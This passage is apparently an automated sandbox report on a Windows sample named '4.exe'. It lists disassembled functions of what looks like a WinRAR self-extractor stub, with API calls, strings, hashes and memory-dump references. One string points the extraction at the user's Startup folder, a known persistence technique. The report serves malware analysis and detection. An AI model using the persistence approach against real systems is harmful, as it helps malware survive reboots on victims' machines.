String ID: Thread pool initialization failed.
API String ID: 3431467744-2182114853
Opcode ID: b3c530a11ecd59e15207be6106457b017a2250717723a1b722354bd23ba00159
Instruction ID: b5dba23dee1d7b969199f0d2e50c457afc809a67463ef2ea2bd0c10507d254a3
Opcode Fuzzy Hash: b3c530a11ecd59e15207be6106457b017a2250717723a1b722354bd23ba00159
Instruction Fuzzy Hash: 41119D712447085BD2354F39D845BABBBECEF96750F14442FF1DA82380EAB1A9848B64

Function 00DD6F4E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,?,00DD70DF,?,00DCFCB8,?,?,00DDA8DF,?,?,00DC5CB8,?,?,?,00000000), ref: 00DD6F52
GetLastError.KERNEL32(?,000000FF,?,00DD70DF,?,00DCFCB8,?,?,00DDA8DF,?,?,00DC5CB8,?,?,?,00000000), ref: 00DD6F5D

Part of subcall function 00DC9F0C: __EH_prolog3_GS.LIBCMT ref: 00DC9F13

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00DD6F66

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: ErrorH_prolog3_LastObjectSingleWait
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 2419225763-2248577382
Opcode ID: 24afe2334a392179459fcd388545c75f0b857b5be74f53c54a3924b43cc542a1
Instruction ID: 6f2c52ce14efeb42bd4cafedf13680636e2a0866d88b4e9b365054294f403da7
Opcode Fuzzy Hash: 24afe2334a392179459fcd388545c75f0b857b5be74f53c54a3924b43cc542a1
Instruction Fuzzy Hash: 73D05E7150462126CA1027B87C1EE7B2A088F023B0B25034DB139A63EACE10498082F6

Analysis Process: 4.exePID: 7320, Parent PID: 2828COMMON

Execution Graph

Execution Coverage:	9.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.5%
Total number of Nodes:	1518
Total number of Limit Nodes:	31

Executed Functions

Function 00D3F05C Relevance: 38.7, APIs: 17, Strings: 5, Instructions: 202
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D31B83: GetModuleHandleW.KERNEL32(kernel32), ref: 00D31B9C
Part of subcall function 00D31B83: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00D31BAE
Part of subcall function 00D31B83: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00D31BDF

Part of subcall function 00D3B65D: GetCurrentDirectoryW.KERNEL32(?,?), ref: 00D3B665

Part of subcall function 00D3BD1B: OleInitialize.OLE32(00000000), ref: 00D3BD34
Part of subcall function 00D3BD1B: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00D3BD6B
Part of subcall function 00D3BD1B: SHGetMalloc.SHELL32(00D6A460), ref: 00D3BD75

GetCommandLineW.KERNEL32 ref: 00D3F09B
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 00D3F0C5
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007402), ref: 00D3F0D6
UnmapViewOfFile.KERNEL32(00000000), ref: 00D3F127

Part of subcall function 00D3ED2E: SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 00D3ED44
Part of subcall function 00D3ED2E: SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00D3ED80

Part of subcall function 00D30752: _wcslen.LIBCMT ref: 00D30776

CloseHandle.KERNEL32(00000000), ref: 00D3F12E
GetModuleFileNameW.KERNEL32(00000000,00D80CC0,00000800), ref: 00D3F148
SetEnvironmentVariableW.KERNEL32(sfxname,00D80CC0), ref: 00D3F154
GetLocalTime.KERNEL32(?), ref: 00D3F15F
_swprintf.LIBCMT ref: 00D3F19E
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 00D3F1B3
GetModuleHandleW.KERNEL32(00000000), ref: 00D3F1BA
LoadIconW.USER32(00000000,00000064), ref: 00D3F1D1
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_0001C9D0,00000000), ref: 00D3F222
Sleep.KERNEL32(?), ref: 00D3F250
DeleteObject.GDI32 ref: 00D3F289
DeleteObject.GDI32(?), ref: 00D3F299
CloseHandle.KERNEL32 ref: 00D3F2DC

Strings

sfxstime, xrefs: 00D3F1AE
STARTDLG, xrefs: 00D3F217
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 00D3F18F
sfxname, xrefs: 00D3F14F
winrarsfxmappingfile.tmp, xrefs: 00D3F0B9

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$AddressCloseDeleteObjectProcView$CommandCurrentDialogDirectoryGdiplusIconInitializeLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf_wcslen
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 3014515783-3710569615
Opcode ID: 5ea14fe98374e3ed20e2b820a0b0bae9ad459ec5a37cb34e41f17d14960a0dc2
Instruction ID: 040f20e01990a65966be512d2ac5e30d6f0cf5d34fd59093002c0a3e03d50a87
Opcode Fuzzy Hash: 5ea14fe98374e3ed20e2b820a0b0bae9ad459ec5a37cb34e41f17d14960a0dc2
Instruction Fuzzy Hash: D561C575900304BFD320AB65EC49F6B7BACEB45745F040529F985D23A1EB749D88CB72

Function 00D2BA94 Relevance: 7.6, APIs: 5, Instructions: 105
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,?,?,00D2B98B,000000FF,?,?), ref: 00D2BABD

Part of subcall function 00D2CF32: _wcslen.LIBCMT ref: 00D2CF56

FindFirstFileW.KERNEL32(?,?,?,?,00000800,?,?,?,?,00D2B98B,000000FF,?,?), ref: 00D2BAEB
GetLastError.KERNEL32(?,?,00000800,?,?,?,?,00D2B98B,000000FF,?,?), ref: 00D2BAF7
FindNextFileW.KERNEL32(?,?,?,?,?,?,00D2B98B,000000FF,?,?), ref: 00D2BB21
GetLastError.KERNEL32(?,?,?,?,00D2B98B,000000FF,?,?), ref: 00D2BB2D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next_wcslen
String ID:
API String ID: 42610566-0
Opcode ID: 490c74e6bba83ec0bbacccc51619fad5a93aca824f2405c3a9f41869b0a726e0
Instruction ID: be0a085efad4a426f97d055ef3b5ca2746853c436ceb32076aab0abfbc15a9cc
Opcode Fuzzy Hash: 490c74e6bba83ec0bbacccc51619fad5a93aca824f2405c3a9f41869b0a726e0
Instruction Fuzzy Hash: A9418472900629ABCB25DF64DC84AE9B3B8FB58364F140196F96DE3240D774AE94CF70

Function 00D292C6 Relevance: 4.7, APIs: 1, Strings: 1, Instructions: 1157COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D292CB

Part of subcall function 00D2D656: _wcsrchr.LIBVCRUNTIME ref: 00D2D660

Part of subcall function 00D2CAA0: _wcslen.LIBCMT ref: 00D2CAA6

Part of subcall function 00D31907: _wcslen.LIBCMT ref: 00D3190D

Part of subcall function 00D2B5D6: _wcslen.LIBCMT ref: 00D2B5E2
Part of subcall function 00D2B5D6: __aulldiv.LIBCMT ref: 00D2B60E
Part of subcall function 00D2B5D6: GetCurrentProcessId.KERNEL32(00000000,?,000186A0,00000000,?,?,00000800,?), ref: 00D2B615
Part of subcall function 00D2B5D6: _swprintf.LIBCMT ref: 00D2B640
Part of subcall function 00D2B5D6: _wcslen.LIBCMT ref: 00D2B64A
Part of subcall function 00D2B5D6: _swprintf.LIBCMT ref: 00D2B6A0
Part of subcall function 00D2B5D6: _wcslen.LIBCMT ref: 00D2B6AA

Part of subcall function 00D24727: __EH_prolog.LIBCMT ref: 00D2472C

Part of subcall function 00D2A212: __EH_prolog.LIBCMT ref: 00D2A217

Part of subcall function 00D2B8E6: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00D2B5B5,?,?,?,00D2B405,?,00000001,00000000,?,?), ref: 00D2B8FA
Part of subcall function 00D2B8E6: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00D2B5B5,?,?,?,00D2B405,?,00000001,00000000,?,?), ref: 00D2B92B

Strings

__tmp_reference_source_, xrefs: 00D29596

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: _wcslen$H_prolog$AttributesFile_swprintf$CurrentProcess__aulldiv_wcsrchr
String ID: __tmp_reference_source_
API String ID: 70197177-685763994
Opcode ID: 2d76e9e1c13b5a639dea7d9cad31b4d63092c7682d333bbe0968836f7d0768ac
Instruction ID: f0d4e7a1b6889b5366eea6690731e3fc57fa896a575a3e7b79102da5bfde0b1c
Opcode Fuzzy Hash: 2d76e9e1c13b5a639dea7d9cad31b4d63092c7682d333bbe0968836f7d0768ac
Instruction Fuzzy Hash: 00A2F671904265AEDF15DF74D8A5BE9FBA4FF25308F0C01B9E8499B282D7309988CB71

Function 00D491B0 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,?,00D49186,00000000,00D5D570,0000000C,00D492DD,00000000,00000002,00000000), ref: 00D491D1
TerminateProcess.KERNEL32(00000000,?,00D49186,00000000,00D5D570,0000000C,00D492DD,00000000,00000002,00000000), ref: 00D491D8
ExitProcess.KERNEL32 ref: 00D491EA

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: c7f84ce50a618b4b0eb0acc14190d6390b7584174d0f3892cc26617bd8969388
Instruction ID: e336cc0ca9e8fb3185e472b7734d475df179cbf023eda69f2b048f51f99cf6e5
Opcode Fuzzy Hash: c7f84ce50a618b4b0eb0acc14190d6390b7584174d0f3892cc26617bd8969388
Instruction Fuzzy Hash: F5E04631000348ABCF216F65CD4CA8A7B6AEB40356F000014FD0C8B231CB75ED82CAB0

Function 00D3C9D0 Relevance: 100.5, APIs: 47, Strings: 10, Instructions: 734windowfilesleepCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D3C9D5

Part of subcall function 00D212F6: GetDlgItem.USER32(00000000,00003021), ref: 00D2133A
Part of subcall function 00D212F6: SetWindowTextW.USER32(00000000,00D545F4), ref: 00D21350

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00D3CAC1
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00D3CADF
IsDialogMessageW.USER32(?,?), ref: 00D3CAF2
TranslateMessage.USER32(?), ref: 00D3CB00
DispatchMessageW.USER32(?), ref: 00D3CB0A
GetDlgItemTextW.USER32(?,00000066,?,00000800), ref: 00D3CB2D
KiUserCallbackDispatcher.NTDLL(?,00000001), ref: 00D3CB50
GetDlgItem.USER32(?,00000068), ref: 00D3CB73
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00D3CB8E
SendMessageW.USER32(00000000,000000C2,00000000,00D545F4), ref: 00D3CBA1

Part of subcall function 00D3E598: _wcslen.LIBCMT ref: 00D3E5C2

SetFocus.USER32(00000000), ref: 00D3CBA8
_swprintf.LIBCMT ref: 00D3CC07

Part of subcall function 00D24A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00D24A33

GetLastError.KERNEL32(?,00000000,00000000,00000000,?), ref: 00D3CC6A
GetLastError.KERNEL32(?,?,00000000,00000000,00000000,?), ref: 00D3CC92
GetTickCount.KERNEL32 ref: 00D3CCB0
_swprintf.LIBCMT ref: 00D3CCC8
GetLastError.KERNEL32(?,00000011), ref: 00D3CCFA
GetModuleFileNameW.KERNEL32(00000000,?,00000800,?,?,?,00000000,00000000,00000000,?), ref: 00D3CD4D
_swprintf.LIBCMT ref: 00D3CD84
CreateFileMappingW.KERNEL32(000000FF,00000000,08000004,00000000,00007402,winrarsfxmappingfile.tmp), ref: 00D3CDD8
GetCommandLineW.KERNEL32 ref: 00D3CDEE
MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000000,00D71482,00000400,00000001,00000001), ref: 00D3CE45
Sleep.KERNEL32(00000064), ref: 00D3CEB5
UnmapViewOfFile.KERNEL32(?,?,0000421C,00D71482,00000400), ref: 00D3CEDE
CloseHandle.KERNEL32(00000000), ref: 00D3CEE7
_swprintf.LIBCMT ref: 00D3CF1A
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00D3CF79
SetDlgItemTextW.USER32(?,00000065,00D545F4), ref: 00D3CF90
GetDlgItem.USER32(?,00000065), ref: 00D3CF99
GetWindowLongW.USER32(00000000,000000F0), ref: 00D3CFA8
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00D3CFB7
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00D3D064
_wcslen.LIBCMT ref: 00D3D0BA
_swprintf.LIBCMT ref: 00D3D0E4
SendMessageW.USER32(?,00000080,00000001,?), ref: 00D3D12E
SendDlgItemMessageW.USER32(?,0000006C,00000172,00000000,?), ref: 00D3D148
GetDlgItem.USER32(?,00000068), ref: 00D3D151
SendMessageW.USER32(00000000,00000435,00000000,00400000), ref: 00D3D167
GetDlgItem.USER32(?,00000066), ref: 00D3D181
SetWindowTextW.USER32(00000000,C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup), ref: 00D3D1A3
SetDlgItemTextW.USER32(?,0000006B,00000000), ref: 00D3D203
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00D3D216
DialogBoxParamW.USER32(LICENSEDLG,00000000,Function_0001C7B0,00000000,?), ref: 00D3D2B9
EnableWindow.USER32(00000000,00000000), ref: 00D3D393
SendMessageW.USER32(?,00000111,00000001,00000000), ref: 00D3D3D5

Part of subcall function 00D3D884: __EH_prolog.LIBCMT ref: 00D3D889

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00D3D3F9

Strings

C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup, xrefs: 00D3D187, 00D3D194, 00D3D1A1
-el -s2 "-d%s" "-sp%s", xrefs: 00D3CD73
__tmp_rar_sfx_access_check_%u, xrefs: 00D3CCB7
STARTDLG, xrefs: 00D3C9F1
<, xrefs: 00D3CD8C
"%s"%s, xrefs: 00D3CF09
winrarsfxmappingfile.tmp, xrefs: 00D3CDAE
LICENSEDLG, xrefs: 00D3D2AE
%s, xrefs: 00D3D0D4
@, xrefs: 00D3CD99

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: Item$MessageText$Send$Window_swprintf$File$ErrorLast$DialogH_prologLongView_wcslen$CallbackCloseCommandCountCreateDispatchDispatcherEnableFocusHandleLineMappingModuleNameParamSleepTickTranslateUnmapUser__vswprintf_c_l
String ID: %s$"%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp
API String ID: 1004948406-504123927
Opcode ID: d46c52986778f57c7e3930adc48f9806c4b0eab93d85773ea0d5c4430aef3573
Instruction ID: a8654720b53e3634083dcd69c4960e73cfbc05ebd0461b6c192c6b94d106186e
Opcode Fuzzy Hash: d46c52986778f57c7e3930adc48f9806c4b0eab93d85773ea0d5c4430aef3573
Instruction Fuzzy Hash: 9642D171950318BEEB21AB64AC4AFBE7BADEB11704F080055F644F62D2CBB45949CF72

Function 00D31B83 Relevance: 52.8, APIs: 23, Strings: 7, Instructions: 316
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(kernel32), ref: 00D31B9C
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00D31BAE
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00D31BDF
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00D31E89
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00D31EA3
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00D31EB3
ReadFile.KERNEL32(00000000,?,00007FFE,00D54D24,00000000), ref: 00D31ED1
CloseHandle.KERNEL32(00000000), ref: 00D31F29
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00D31F3E
CompareStringW.KERNEL32(00000400,00001001,?,?,DXGIDebug.dll,?,00D54D24,?,00000000,?,00000800), ref: 00D31F92
GetFileAttributesW.KERNELBASE(?,?,00D54D24,00000800,?,00000000,?,00000800), ref: 00D31FBC
GetFileAttributesW.KERNEL32(?,?,00D54DEC,00000800), ref: 00D31FF8

Part of subcall function 00D31B3B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00D31B56
Part of subcall function 00D31B3B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00D3063A,Crypt32.dll,00000000,00D306B4,00000200,?,00D30697,00000000,00000000,?), ref: 00D31B78

_swprintf.LIBCMT ref: 00D3206A
_swprintf.LIBCMT ref: 00D320B6

Part of subcall function 00D24A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00D24A33

AllocConsole.KERNEL32 ref: 00D320BE
GetCurrentProcessId.KERNEL32 ref: 00D320C8
AttachConsole.KERNEL32(00000000), ref: 00D320CF
_wcslen.LIBCMT ref: 00D320E4
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 00D320F5
WriteConsoleW.KERNEL32(00000000), ref: 00D320FC
Sleep.KERNEL32(00002710), ref: 00D32107
FreeConsole.KERNEL32 ref: 00D3210D
ExitProcess.KERNEL32 ref: 00D32115

Strings

kernel32, xrefs: 00D31B93
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 00D320A4
dwmapi.dll, xrefs: 00D31C47, 00D3202D
DXGIDebug.dll, xrefs: 00D31C1C, 00D31F7E
SetDllDirectoryW, xrefs: 00D31BA8
SetDefaultDllDirectories, xrefs: 00D31BD9
uxtheme.dll, xrefs: 00D32037

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l_wcslen
String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$dwmapi.dll$kernel32$uxtheme.dll
API String ID: 1207345701-3298887752
Opcode ID: 0c8d268e09d9d43b75ef4db73b70b96adbc1bedd901a1d76fe26a3d68ef39013
Instruction ID: aeeb46c2060ee2825e9f9f049a06d085ff5617864273582e60ff974132b91ca3
Opcode Fuzzy Hash: 0c8d268e09d9d43b75ef4db73b70b96adbc1bedd901a1d76fe26a3d68ef39013
Instruction Fuzzy Hash: 01D151B10087859BDB219F549859B9FBBE8EF8530AF50091DFE8596390DBB0858CCB73

Function 00D3D884 Relevance: 49.4, APIs: 23, Strings: 5, Instructions: 428
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00D3D889

Part of subcall function 00D3C504: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 00D3C5EB

_wcslen.LIBCMT ref: 00D3DB4F
_wcslen.LIBCMT ref: 00D3DB58
SetWindowTextW.USER32(?,?), ref: 00D3DBB6
_wcslen.LIBCMT ref: 00D3DBF8
_wcsrchr.LIBVCRUNTIME ref: 00D3DD40
GetDlgItem.USER32(?,00000066), ref: 00D3DD7B
SetWindowTextW.USER32(00000000,?), ref: 00D3DD8B
SendMessageW.USER32(00000000,00000143,00000000,C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup), ref: 00D3DD99
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00D3DDC4

Strings

<br>, xrefs: 00D3DB19
Software\Microsoft\Windows\CurrentVersion, xrefs: 00D3DC5F
C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup, xrefs: 00D3DBC9, 00D3DD5D, 00D3DD63, 00D3DD91, 00D3DDA6
ProgramFilesDir, xrefs: 00D3DC8A
%s.%d.tmp, xrefs: 00D3DA85

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: _wcslen$MessageSendTextWindow$EnvironmentExpandH_prologItemStrings_wcsrchr
String ID: %s.%d.tmp$<br>$C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
API String ID: 2804936435-647225159
Opcode ID: f5aa29a6bd80e4433500b33166273079b07d1a2fe5c67f86e6eb7cf0d489e303
Instruction ID: a27838d6d120faf1c9208d484c900801657e2d254598516ed1a6d636b6bf3742
Opcode Fuzzy Hash: f5aa29a6bd80e4433500b33166273079b07d1a2fe5c67f86e6eb7cf0d489e303
Instruction Fuzzy Hash: 75E15172900218ABDF24DBA4EC85AEE73BDEB04314F5440A6FA45E3194EE749E84CF70

Function 00D2ED87 Relevance: 23.4, APIs: 4, Strings: 9, Instructions: 663COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D2ED90
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00D2EDCC

Part of subcall function 00D2D6A7: _wcslen.LIBCMT ref: 00D2D6AF

Part of subcall function 00D31907: _wcslen.LIBCMT ref: 00D3190D

Part of subcall function 00D32ED2: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,00D2CF18,00000000,?,?), ref: 00D32EEE

_wcslen.LIBCMT ref: 00D2F109
__fprintf_l.LIBCMT ref: 00D2F23C

Strings

RTL, xrefs: 00D2F1FE
a, xrefs: 00D2EF36
$%s:, xrefs: 00D2F21F
, xrefs: 00D2F08C
*messages***, xrefs: 00D2EF1A
*messages***, xrefs: 00D2EEE1
@%s:, xrefs: 00D2F226, 00D2F232
,, xrefs: 00D2F277
R, xrefs: 00D2EF2C

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
